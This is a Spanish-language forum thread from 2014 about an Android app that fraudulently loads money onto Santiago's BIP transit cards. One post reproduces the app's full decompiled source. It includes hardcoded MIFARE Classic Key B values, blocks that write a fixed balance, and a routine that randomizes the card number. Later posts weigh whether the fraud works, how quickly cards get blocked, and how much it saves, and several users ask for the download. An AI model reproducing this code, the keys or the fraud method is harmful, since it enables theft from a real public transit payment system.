Crean aplicación que permite cargar dinero de forma fraudulenta en tarjeta BIP

Tema en 'Cementerio De Temas' iniciado por DE TRANS, 17 Oct 2014.

Estado del Tema:
Cerrado para nuevas respuestas
  1. kaxper

    kaxper Usuario Nuevo nvl. 1
    7/41

    Registrado:
    17 Ago 2008
    Mensajes:
    49
    Me Gusta recibidos:
    0
    supe que bloquearon las bip y el tema de cambiar el numero con la app no funka
     
  2. niculeas

    niculeas Usuario Nuevo nvl. 1
    1/41

    Registrado:
    20 Oct 2014
    Mensajes:
    1
    Me Gusta recibidos:
    0
    Es efectivo, sólo funciona una vez, al pasar el día la tarjeta queda totalmente bloqueada. el bloqueo es al numero de chip y no al numero de tarjeta, por lo cual queda un pedaso de plastico que no sirve... por ahora...
     
  3. Nahueloco

    Nahueloco Usuario Casual nvl. 2
    36/41

    Registrado:
    2 Feb 2014
    Mensajes:
    1.655
    Me Gusta recibidos:
    0
    descompilado con http://www.decompileandroid.com/


    // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.// Jad home page: http://www.geocities.com/kpdus/jad.html// Decompiler options: braces fieldsfirst space lncpackage com.example.puntobip;import android.app.Activity;import android.app.AlertDialog;import android.app.PendingIntent;import android.content.Intent;import android.content.IntentFilter;import android.content.res.Resources;import android.nfc.NfcAdapter;import android.nfc.Tag;import android.nfc.tech.MifareClassic;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.TextView;import android.widget.Toast;import java.io.IOException;import java.util.Random;// Referenced classes of package com.example.puntobip:// TapDialogpublic class MainActivity extends Activity{ private final byte DATA_CARGA_B21[]; private final byte DATA_CARGA_B22[]; private final int DIALOG_CARGAR = 2; private final int DIALOG_NUMERO = 3; private final int DIALOG_SALDO = 1; private final byte KEY_B_SECTOR_0[] = { 31, -62, 53, -84, 19, 9 }; private final byte KEY_B_SECTOR_8[] = { 100, -29, -63, 3, -108, -62 }; private IntentFilter mFilters[]; private NfcAdapter mNfcAdapter; private PendingIntent mPendingIntent; private String mTechList[][]; private TapDialog tapDialog; public MainActivity() { byte abyte0[] = new byte[16]; abyte0[0] = 16; abyte0[1] = 39; abyte0[4] = -17; abyte0[5] = -40; abyte0[6] = -1; abyte0[7] = -1; abyte0[8] = 16; abyte0[9] = 39; abyte0[12] = 33; abyte0[13] = -34; abyte0[14] = 33; abyte0[15] = -34; DATA_CARGA_B21 = abyte0; byte abyte1[] = new byte[16]; abyte1[0] = 16; abyte1[1] = 39; abyte1[4] = -17; abyte1[5] = -40; abyte1[6] = -1; abyte1[7] = -1; abyte1[8] = 16; abyte1[9] = 39; abyte1[12] = 34; abyte1[13] = -35; abyte1[14] = 34; abyte1[15] = -35; DATA_CARGA_B22 = abyte1; } private String formatMoneda(long l) { StringBuilder stringbuilder = new StringBuilder("$"); Object aobj[] = new Object[1]; aobj[0] = Long.valueOf(l); return stringbuilder.append(String.format("%,d", aobj)).toString(); } private void inicializarNFC() { mNfcAdapter = NfcAdapter.getDefaultAdapter(this); if (mNfcAdapter == null) { Toast.makeText(this, "Este dispositivo no soporta NFC.", 1).show(); finish(); return; } if (!mNfcAdapter.isEnabled()) { AlertDialog alertdialog = (new android.app.AlertDialog.Builder(this)).create(); alertdialog.setTitle("NFC deshabilitado"); alertdialog.setMessage("Su NFC est\341 deshabilitado.\nIngrese a las opciones de configuraci\363n y activelo."); alertdialog.show(); } mPendingIntent = PendingIntent.getActivity(this, 0, (new Intent(this, getClass())).addFlags(0x20000000), 0); IntentFilter intentfilter = new IntentFilter("android.nfc.action.TECH_DISCOVERED"); String as[][]; String as1[]; try { intentfilter.addDataType("*/*"); } catch (android.content.IntentFilter.MalformedMimeTypeException malformedmimetypeexception) { throw new RuntimeException("error", malformedmimetypeexception); } mFilters = (new IntentFilter[] { intentfilter }); as = new String[1][]; as1 = new String[1]; as1[0] = android/nfc/tech/MifareClassic.getName(); as[0] = as1; mTechList = as; } private long leToNumeric(byte abyte0[], int i) { long l = 0L; int j = 0; do { if (j >= i) { return l; } l += (255L & (long)abyte0[j]) << j * 8; j++; } while (true); } private String leToNumericString(byte abyte0[], int i) { return String.valueOf(leToNumeric(abyte0, i)); } private void showTapDialog(String s, int i) { if (tapDialog == null) { tapDialog = new TapDialog(this); tapDialog.setCanceledOnTouchOutside(false); } tapDialog.setTitle(s); tapDialog.setTag(i); tapDialog.show(); } public void onCambiarNumero(View view) { showTapDialog(getResources().getString(0x7f0a0010), 3); } public void onCargarSaldo(View view) { showTapDialog(getResources().getString(0x7f0a000f), 2); } protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(0x7f030018); showTapDialog(getResources().getString(0x7f0a000e), 1); inicializarNFC(); } protected void onNewIntent(Intent intent) { if (!"android.nfc.action.TECH_DISCOVERED".equals(intent.getAction())) goto _L2; else goto _L1_L1: MifareClassic mifareclassic = MifareClassic.get((Tag)intent.getParcelableExtra("android.nfc.extra.TAG")); mifareclassic.connect(); if (!tapDialog.isShowing()) goto _L4; else goto _L3_L3: tapDialog.getTag(); JVM INSTR tableswitch 2 3: default 68 // 2 236 // 3 331; goto _L4 _L5 _L6_L4: TextView textview1; TextView textview2; TextView textview = (TextView)findViewById(0x7f05003d); textview1 = (TextView)findViewById(0x7f05003e); textview2 = (TextView)findViewById(0x7f05003f); textview.setText(leToNumericString(mifareclassic.getTag().getId(), 4)); if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0)) goto _L8; else goto _L7_L7: byte abyte0[] = mifareclassic.readBlock(1); byte abyte1[] = new byte[4]; abyte1[0] = abyte0[4]; abyte1[1] = abyte0[5]; abyte1[2] = abyte0[6]; abyte1[3] = abyte0[7]; textview1.setText(leToNumericString(abyte1, 4));_L9: if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8)) { break MISSING_BLOCK_LABEL_459; } textview2.setText(formatMoneda(leToNumeric(mifareclassic.readBlock(33), 2)));_L10: Exception exception; Exception exception1; try { mifareclassic.close(); } catch (IOException ioexception2) { }_L2: tapDialog.dismiss(); return;_L5: if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8)) { break MISSING_BLOCK_LABEL_310; } mifareclassic.writeBlock(33, DATA_CARGA_B21); mifareclassic.writeBlock(34, DATA_CARGA_B22); goto _L4 exception1; Log.e("error", exception1.getLocalizedMessage()); Toast.makeText(this, exception1.getLocalizedMessage(), 1).show(); try { mifareclassic.close(); } catch (IOException ioexception1) { } goto _L2 Toast.makeText(this, "error autenticando sector 0x21", 1).show(); goto _L4 exception; byte abyte2[]; Random random; try { mifareclassic.close(); } catch (IOException ioexception) { } throw exception;_L6:label0: { if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0)) { break label0; } abyte2 = mifareclassic.readBlock(1); random = new Random(); abyte2[4] = (byte)(0 + random.nextInt(256)); abyte2[5] = (byte)(0 + random.nextInt(256)); abyte2[6] = (byte)(0 + random.nextInt(256)); abyte2[7] = (byte)(0 + random.nextInt(256)); mifareclassic.writeBlock(1, abyte2); } goto _L4 Toast.makeText(this, "error autenticando sector 0x00", 1).show(); goto _L4_L8: Toast.makeText(this, "error autenticando sector 0x00", 1).show(); goto _L9 Toast.makeText(this, "error autenticando sector 0x21", 1).show(); goto _L10 } protected void onPause() { super.onPause(); mNfcAdapter.disableForegroundDispatch(this); } protected void onResume() { super.onResume(); mNfcAdapter.enableForegroundDispatch(this, mPendingIntent, mFilters, mTechList); }
     
  4. Darkan

    Darkan Usuario Nuevo nvl. 1
    6/41

    Registrado:
    28 Ene 2008
    Mensajes:
    52
    Me Gusta recibidos:
    0
    Cabros... Tengo una duda con respecto a esta wea y si hay algun entendido del tema, se agradece su aporte: Leí por ahi en un foro que si haces la carga de 10.000 y despues haces una carga normal por más de 1.000 podría pasar piola.

    Alguien ha hecho la prueba con la tarjeta normal???

    Como dato: A un amigo ya le bloquearon la tarjeta bip y trato de cambiar el número de tarjeta varias veces, pero queda bloqueada igual. Así que confirmado, los wns del Metro te bloquean el chip permanentemente.
     
  5. zock_foul

    zock_foul Usuario Nuevo nvl. 1
    17/41

    Registrado:
    17 Jul 2009
    Mensajes:
    637
    Me Gusta recibidos:
    1
    Al parecer es bloqueo por UID, no por el N° de tarjeta y eso NO se puede cambiar...es solo de lectura y no escritura.


    Ejemplo practico:


    *El ultimo saldo que reporta la bip que tenia es por ejemplo $920.


    * Hipotéticamente le cargo los $10000 con la app.


    *Paso por un validador y efectivamente me funciona y me descuenta del saldo.


    *Al cabo de 1 o 2 días que se demora en actualizarse la info de la bip en las BD's, encuentra que tengo un saldo de 9000 y tantos pesos cuando debería ser 300 y tantos pesos si es que en esos días solo pase por un validador. Claramente esta descuadrado, tomando en cuenta también que no figura ninguna recarga desde algún centro de carga. Encontrar ese descuadre es super simple con un Procedure.


    Yo cacho que estaban tan confiados en que la wea era segura y no tomaron en cuenta las informaciones que decían lo contrario, recién ahora empezaron a hacer esa comprobacion.


    Conclusión: Funciona dicen todos, pero te dura por 2 o 3 días a lo sumo. si sacamos la cuenta en platita seria algo asi (no se cuanto vale la micro xq pago escolar XD, pero son como 630 aprox), suponiendo que voy a trabajar de lunes a viernes, una micro de ida y otra de vuelta.


    *** 630x4 = $2530 pesos (suponiendo que te dure 2 días la Bip hasta que te la bloquean)
    *** $1400 valor de una BIP


    lo que gastas en micro - valor de la BIP = $1130 que te ahorras por dos días de locomocion


    Suponiendo que son 20 días al mes que vas a trabajar


    $1130 * 10 = $11300 que te estarías ahorrando en el mes.

    A la gente igual el va a servir aunque las Bip pasen a ser desechables, para arreglar esta cagadita como corresponde van a tener qeu desembolsar el medio billete.

    MEDIA CAGA! xDDDDDDDDDDDDD
     
    #113 zock_foul, 20 Oct 2014
    Última edición: 21 Oct 2014
  6. superbrommer

    superbrommer Usuario Nuevo nvl. 1
    17/41

    Registrado:
    26 Jul 2007
    Mensajes:
    803
    Me Gusta recibidos:
    2
    Asi es, tremenda cagaita.. y creo que ahora Sonda tendrá problemas, no sólo con el gobierno, si no que en el extranjero, ya que lei por ahí que el gobierno panameño les esta exigiendo mayor seguridad en los proyectos que esta empresa tiene por esos lados..
    Por weones..por no crear un buen sistema, y por hacerse ricos con un sistema que fue mal diseñado desde el principio.
     
  7. darlink

    darlink Usuario Nuevo nvl. 1
    1/41

    Registrado:
    22 Oct 2014
    Mensajes:
    1
    Me Gusta recibidos:
    0
    pero como xuxa los weones k piden weas pa cambiar la ip no se dan cuenta k ahy gente k no tiene la apk y lapiden y la piden y no hay ningun conchesumare k tire el link de descarga pak lo vean todos no sean weones y piensen enlos demas po wn
     
  8. cerber

    cerber Usuario Nuevo nvl. 1
    16/41

    Registrado:
    7 Jul 2009
    Mensajes:
    214
    Me Gusta recibidos:
    0
    que dijo? xD
     
  9. Maxelll

    Maxelll Usuario Nuevo nvl. 1
    16/41

    Registrado:
    15 Oct 2014
    Mensajes:
    119
    Me Gusta recibidos:
    0
    yo quiero llenar mi tarjeta asi , vengo llegando en transantiago y es una mierda , enserio todos cagados de calor y la micro llena ... no se merece el gobierno que uno les pague legalmente un sistema y diseño de microbuses hecho para discapacitados ..... maldito diseño de buses ... es pesimo.
    donde estan las instrucciones para cargar mi tarjeta como dicen ?
     
  10. sharpito

    sharpito Usuario Habitual nvl.3 ★
    197/244

    Registrado:
    9 Oct 2007
    Mensajes:
    24.418
    Me Gusta recibidos:
    56

    notese mas llena sera porque es gratis ahora sera el doble de calor :loca::loca:
     
  11. the_flp

    the_flp Usuario Nuevo nvl. 1
    7/41

    Registrado:
    17 Oct 2014
    Mensajes:
    47
    Me Gusta recibidos:
    1
    alguien tiene informacion de la nueva aplicacion, yo la vi rn youtube y el loco cargaba con el saldo que el queria, estara circulando la aplicacionn??? :1313:
     
  12. zock_foul

    zock_foul Usuario Nuevo nvl. 1
    17/41

    Registrado:
    17 Jul 2009
    Mensajes:
    637
    Me Gusta recibidos:
    1
    Darklink -> 1 Mensaje -> Registrado 22 Octubre
    Maxell -> 17 Mensaje -> Registrado 15 Octubre
    the_flp -> 6 Mensaje -> Registrado 17 Octubre

    Como diría Ruperto: "Así nomas po'".
     
Estado del Tema:
Cerrado para nuevas respuestas